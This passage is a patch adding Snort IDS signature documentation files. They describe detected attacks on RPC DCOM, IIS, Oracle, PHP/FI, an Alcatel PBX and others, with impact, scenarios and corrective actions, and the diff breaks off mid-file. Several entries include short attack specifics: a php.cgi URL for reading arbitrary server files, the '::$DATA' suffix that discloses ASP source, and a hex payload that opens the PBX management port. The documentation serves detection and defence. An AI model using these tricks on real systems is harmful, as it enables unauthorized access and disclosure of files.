+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3266.txt
+++ snort-2.8.5.2/doc/signatures/3266.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3266
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1037.txt
+++ snort-2.8.5.2/doc/signatures/1037.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+1037
+
+--
+Summary:
+This event is generated when an attempt is made to access the showcode.asp file. 
+
+--
+Impact:
+Intelligence gathering.  This attack may permit viewing of files on the vulnerable server.
+
+--
+Detailed Information:
+Microsoft Internet Information Server (IIS) 4.0 has sample files that instruct web developers on the use of Active Server Pages (ASP).  One particular sample file, 'showcode.asp', allows files to be viewed on the vulnerable server.  This is caused by inadequate checking of user input supplied in the "source" parameter, allowing an attacker to navigate outside the directory where the sample files are located.
+
+--
+Affected Systems:
+IIS 4.0
+
+--
+Attack Scenarios:
+An attacker can craft a URL to reference the showcode.asp file, passing it a "source" parameter of the desired file to view. 
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Delete the showcode.asp file.
+
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0736
+
+Bugtraq
+http://www.securityfocus.com/bid/167
+
+Nessus
+http://cgi.nessus.org/plugins/dump.php3?id=10007
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/111-3.txt
+++ snort-2.8.5.2/doc/signatures/111-3.txt
@@ -0,0 +1,62 @@
+Rule: 
+
+--
+Sid: 
+111-3
+
+-- 
+Summary: 
+This event is generated when the pre-processor stream4
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+Unknown. This may be an IDS evasion attempt.
+
+--
+Detailed Information:
+The pre-processor stream4 has detected a TCP session that contains
+a retransmission of data that has not already been acknowleged. This
+may be an attempt to evade any monitoring IDS.
+
+--
+Affected Systems:
+	All systems
+
+--
+Attack Scenarios: 
+An attacker could supply two packets containing different data, one with
+a malicious payload destined for a vulnerable host and the other with a
+benign payload meant for the IDS. The second packet may disguise itself
+in the session as retransmitted data.
+
+-- 
+Ease of Attack: 
+Simple. Tools such as fragroute contain this functionality.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action:
+Check the target host for signs of compromise.
+
+Ensure the system is up to date with any appropriate vendor supplied patches.
+
+--
+Contributors:
+Martin Roesch <roesch@sourcefire.com>
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2611.txt
+++ snort-2.8.5.2/doc/signatures/2611.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+2611
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+
+An attacker can create a database link and supply it an overly
+long string to the "USING" parameter of the "CREATE DATABASE LINK"
+command. This long value is stored for later use. When subsequently
+accessed via the link, a buffer overflow can occur.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i and earlier
+
+--
+Attack Scenarios:
+An attacker can create a database link and supply it an overly long
+"USING" value.  The result could permit the attacker to gain escalated
+privileges and run code of their choosing.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0222
+
+Bugtraq
+http://www.securityfocus.com/bid/7453
+
+Other:
+http://archives.neohapsis.com/archives/bugtraq/2003-04/0360.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2040.txt
+++ snort-2.8.5.2/doc/signatures/2040.txt
@@ -0,0 +1,76 @@
+Rule:
+
+--
+Sid:
+2040
+
+--
+Summary:
+This event is generated when an attempt is made to login using XTACACS
+from a machine outside the local area network.
+
+--
+Impact:
+This may be an intelligence gathering activity or an attempt to access 
+resources controlled by the XTACACS server.
+
+This may also be an attempt to gain unauthorized access to resources 
+with the credentials of a valid user using brute force methodology.
+
+--
+Detailed Information:
+The Extended Terminal Access Controller Access Control System (XTACACS) 
+is an authentication and authorization protocol derived from  CISCO 
+TACACS. It is used in tcp/ip networks where network servers authenticate
+clients from a master server.
+
+When a user logs in to a server that uses XTACACS the server then makes 
+a request to a master server to detrmine the validity of the request. 
+The master server then verifies the login attempt and returns data 
+concerning that user which may include information regarding resources 
+the user is allowed access to in the form of an access list.
+
+--
+Affected Systems:
+All servers using XTACACS for authentication control.
+
+--
+Attack Scenarios:
+Regular user login method.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+XTACACS servers should only authenticate to known hosts and firewall 
+rules should prevent access to XTACACS enabled servers from outside the 
+local area network.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2003-01.html
+
+Network Information Library - Intel:
+http://www.intel.com/support/si/library/bi0414.htm
+
+The Internet Next Generation Project:
+http://ing.ctit.utwente.nl/WU5/D5.1/Technology/xtacacs/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3414.txt
+++ snort-2.8.5.2/doc/signatures/3414.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3414
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1551.txt
+++ snort-2.8.5.2/doc/signatures/1551.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1551
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3421.txt
+++ snort-2.8.5.2/doc/signatures/3421.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3421
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000526.txt
+++ snort-2.8.5.2/doc/signatures/100000526.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000526
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "PHPMyDirectory" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "from" parameter in the "index.php" script used 
+by the "PHPMyDirectory" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using PHPMyDirectory
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000424.txt
+++ snort-2.8.5.2/doc/signatures/100000424.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000424
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "DotWidget CMS" application running on a webserver. Access to the file "feedback.php" using a remote file being passed as the "file_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "file_path" parameter in the "feedback.php" script used by the "DotWidget CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using DotWidget CMS
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1819.txt
+++ snort-2.8.5.2/doc/signatures/1819.txt
@@ -0,0 +1,55 @@
+Rule:
+
+--
+Sid:
+1819
+
+--
+Summary:
+This event is generated when an attempted connection is observed originating from outside the network to the management port to the Alcatel PBX Phone Switch.
+
+--
+Impact:
+Remote access, denial of service, privilege escalation.  A successful attack may allow remote root access, shutdown of the device, or privlege escalation.
+
+--
+Detailed Information:
+The Alcatel 4000 PBX Phone Switch allows remote management via port 2533. It has been reported that sending a payload of hexidecimal 000143 in the first packet after the three-way handshake to the management port allows access to the device.  There are known default usernames and passwords that, if not changed, will allow control of the device.  Additionally, if a remote user logs in with an account that belongs to the group "other", a shutdown may be performed.  And, improper assignment of permissions on sensitive directories may permit a user to overwrite files and possibly escalate privileges.
+
+--
+Affected Systems:
+Alcatel 4400 PBX running real-time Chorus OS.
+
+--
+Attack Scenarios:
+An attacker may attempt to use this exploit to gain root access, shutdown the system, or escalate privilege from user to root.
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Block external access to the management port of the switch. 
+
+--
+Contributors:
+Original rule writer unknown.
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Nessus
+http://cgi.nessus.org/plugins/dump.php3?id=11019
+
+--
--- snort-2.8.5.2.orig/doc/signatures/975.txt
+++ snort-2.8.5.2/doc/signatures/975.txt
@@ -0,0 +1,66 @@
+Should be obsolete when httpinspect is used
+Rule:
+
+--
+Sid:
+975
+
+--
+Summary:
+This event is generated when an attempt is made to access an Active Server Page (ASP) .asp file to disclose its contents. 
+
+--
+Impact:
+Intelligence gathering activity.  A vulnerability exists that discloses the .asp file contents when the file name is appended with "::$DATA".
+
+--
+Detailed Information:
+Microsoft Internet Information Service (IIS) uses Active Server Page to supply HTML and server-side scripting.  ASP files use a .asp extension.  When the file name is appended with "::$DATA", the contents of the file are disclosed instead of executing the .asp file.
+
+--
+Affected Systems:
+Hosts running IIS 3.0, IIS 4.0
+
+--
+Attack Scenarios:
+An attacker can attempt to reference a .asp file appended with "::$DATA" to see the contents of the file.  Sensitive information may by disclosed depending on the selected file. 
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to a more current version of IIS.
+ 
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft
+http://support.microsoft.com/default.aspx?scid=kb;EN-US;q188806
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0278
+
+Bugtraq
+http://www.securityfocus.com/bid/149
+
+Nessus
+http://cgi.nessus.org/plugins/dump.php3?id=10362
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1453.txt
+++ snort-2.8.5.2/doc/signatures/1453.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1453
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1961.txt
+++ snort-2.8.5.2/doc/signatures/1961.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+1961
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) rquotad is listening.
+
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port rquotad is using.  Attackers can also learn what versions of the rquotad protocol are accepted by rquotad. 
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as rquotad run.  The rquotad RPC service can be queried for user disk usage and the limits of a local file system which is mounted by a remote machine over NFS.  A vulnerability associated with rquotad may permit the execution of arbitrary commands with the privileges of root. 
+
+--
+Affected Systems:
+All hosts running the UNIX portmapper.
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where rquotad runs.  This may be a precursor to accessing rquotad.
+
+--
+Ease of Attack:
+Easy.  
+
+--
+False Positives:
+If a legitimate remote user is allowed to access rquotad, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for rquotad, not probes of the rquotad service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the rquotad service itself. An attacker may attempt to go directly to the rquotad port without querying the portmapper service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1401.txt
+++ snort-2.8.5.2/doc/signatures/1401.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 1401
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in a host running Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation on the host, this may be the prelude to an attack against that host using that information.
+
+The attacker may also be trying to gain administrator access to the host, garner information on users of the system or retrieve sensitive customer information.
+
+Some applications may store sensitive information such as database connections, user information, passwords and customer information in files accessible via a web interface. Care should be taken to ensure these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS implementation. The attacker might then gain administrator access to the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1790.txt
+++ snort-2.8.5.2/doc/signatures/1790.txt
@@ -0,0 +1,53 @@
+Rule:
+
+--
+Sid: 1790
+
+--
+Summary:
+This event is generated when activity relating to network chat clients is detected.
+
+--
+Impact:
+Policy Violation. Use of chat clients to communicate with unkown external sources may be against the policy of many organizations.
+
+--
+Detailed Information:
+Instant Messaging (IM) and other chat related client software can allow users to transfer files directly between hosts. This can allow malicious users to circumvent the protection offered by a network firewall.
+
+Vulnerabilities in these clients may also allow remote attackers to gain unauthorized access to a host.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party using the file transfer capabilities of an IM client.
+
+An attacker might utilize a vulnerability in an IM client to gain access to a host, then upload a Trojan Horse program to gain control of that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow the use of IM clients on the protected network and enforce or implement an organization wide policy on the use of IM clients.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+IRC Protocol
+http://www.irchelp.org/irchelp/rfc/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2516.txt
+++ snort-2.8.5.2/doc/signatures/2516.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+2516
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft implementation of the Private
+Communications Transport (PCT) protocol.
+
+--
+Impact:
+Execution of arbitrary code. Unauthorized administrative access to an
+affected host.
+
+--
+Detailed Information:
+A vulnerability exists in the handling of PCT requests that
+can be manipulated to give an attacker the opportunity to execute
+arbitrary code of their choosing leading to a possible remote
+administrative compromize of an affected host.
+
+The condition exists because of poor error handling routines in the
+Microsoft Secure Sockets Layer (SSL) library.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003 and XP systems using PCT
+
+--
+Attack Scenarios:
+An attcker needs to make a specially crafted PCT request to an affected system.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the use of PCT
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2113.txt
+++ snort-2.8.5.2/doc/signatures/2113.txt
@@ -0,0 +1,51 @@
+Rule:
+
+--
+Sid:
+2113
+--
+Summary:
+This event is generated when an attempt is made to exploit a vulnerability in the rexec daemon.
+
+--
+Impact:
+Serious.  An attacker may gain escalated privileges offering super user access on the affected host.
+
+--
+Detailed Information:
+Rexec offers users the ability to execute commands on a host from remote locations.
+
+A vulnerability exists such that an when an overly long username is supplied to the rexec daemon, a buffer overflow condition may occur thus presenting the attacker with the opportunity to execute arbitrary code and possibly gain escalated privileges on the target host.
+
+--
+Attack Scenarios:
+Simple.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Disallow the use of rexec commands from sources external to the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000159.txt
+++ snort-2.8.5.2/doc/signatures/100000159.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+100000159
+
+-- 
+Summary: 
+This event is generated when an abnormally larger number of SIP REGISTER 
+messages is received in a short time frame.
+
+--
+Impact:
+This can be an indication of a denial of service attack in progress, or simply 
+a poorly configured or implemented user agent.
+
+--
+Detailed Information:
+This rule is used to detect overly large numbers of SIP REGISTER messages 
+coming into hosts on an internal network, which may indicate a denial of 
+service attack in progress. Since this traffic could also be the the result of 
+a poorly configured user agent, or simply a very busy SIP proxy, careful 
+analysis of both the hosts receiving and sending this traffic is required 
+before determining that an attack has actually taken place.
+
+--
+Affected Systems:
+Any which implement the SIP protocol.
+
+--
+Attack Scenarios:
+An attacker could use a script to flood a system with REGISTER messages, 
+causing a denial of service.
+
+--
+Ease of Attack:
+Simple, as SIP is a public, well-documented protocol.
+
+--
+False Positives:
+Known SIP proxies may receive a high volume of legitimate REGISTER requests, 
+and NAT devices may appear to be sending a larger number of REGISTER requests 
+than a regular host. It is recommended that users whitelist known SIP proxies 
+and NAT devices.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Use a firewall or other access-restriction device to block unwanted messages at 
+your network's border.
+
+--
+Contributors:
+Jiri Markl <jiri.markl@nextsoft.cz>
+Sourcefire Research Team
+
+--
+Additional References
+Other:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/824.txt
+++ snort-2.8.5.2/doc/signatures/824.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+824
+
+--
+Summary:
+A remote user has tried access the php.cgi script. Some versions 
+of this script can allow access to any file the
+server can read.
+
+--
+Impact:
+Information disclosure.
+
+--
+Detailed Information:
+Because of a design problem in this version of PHP/FI, remote users are 
+able to access any file that the UID of the http process has access to. 
+The exploit is a simple web request for the file and can be used with 
+malicious intent.
+
+--
+Affected Systems:
+	PHP/FI 2.0
+
+--
+Attack Scenarios:
+An attacker can simply pass a file name to the script 
+and be able to view the file if the web server has access
+to it. This can be used to obtain passwords or other sensitive 
+information.
+
+Example: http://somewebserver/php.cgi?/path/to/desired/file
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives: 
+None known.
+
+--
+False Negatives: 
+None known.
+
+--
+Corrective Action:
+Upgrade or remove the file php.cgix
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Josh Sakofsky
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS232
+
+Bugraq:
+http://www.securityfocus.com/bid/2250
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0238
+
+--
--- snort-2.8.5.2.orig/doc/signatures/582.txt
+++ snort-2.8.5.2/doc/signatures/582.txt
@@ -0,0 +1,76 @@
+Rule:
+
+--
+Sid:
+582
+
+--
+Summary:
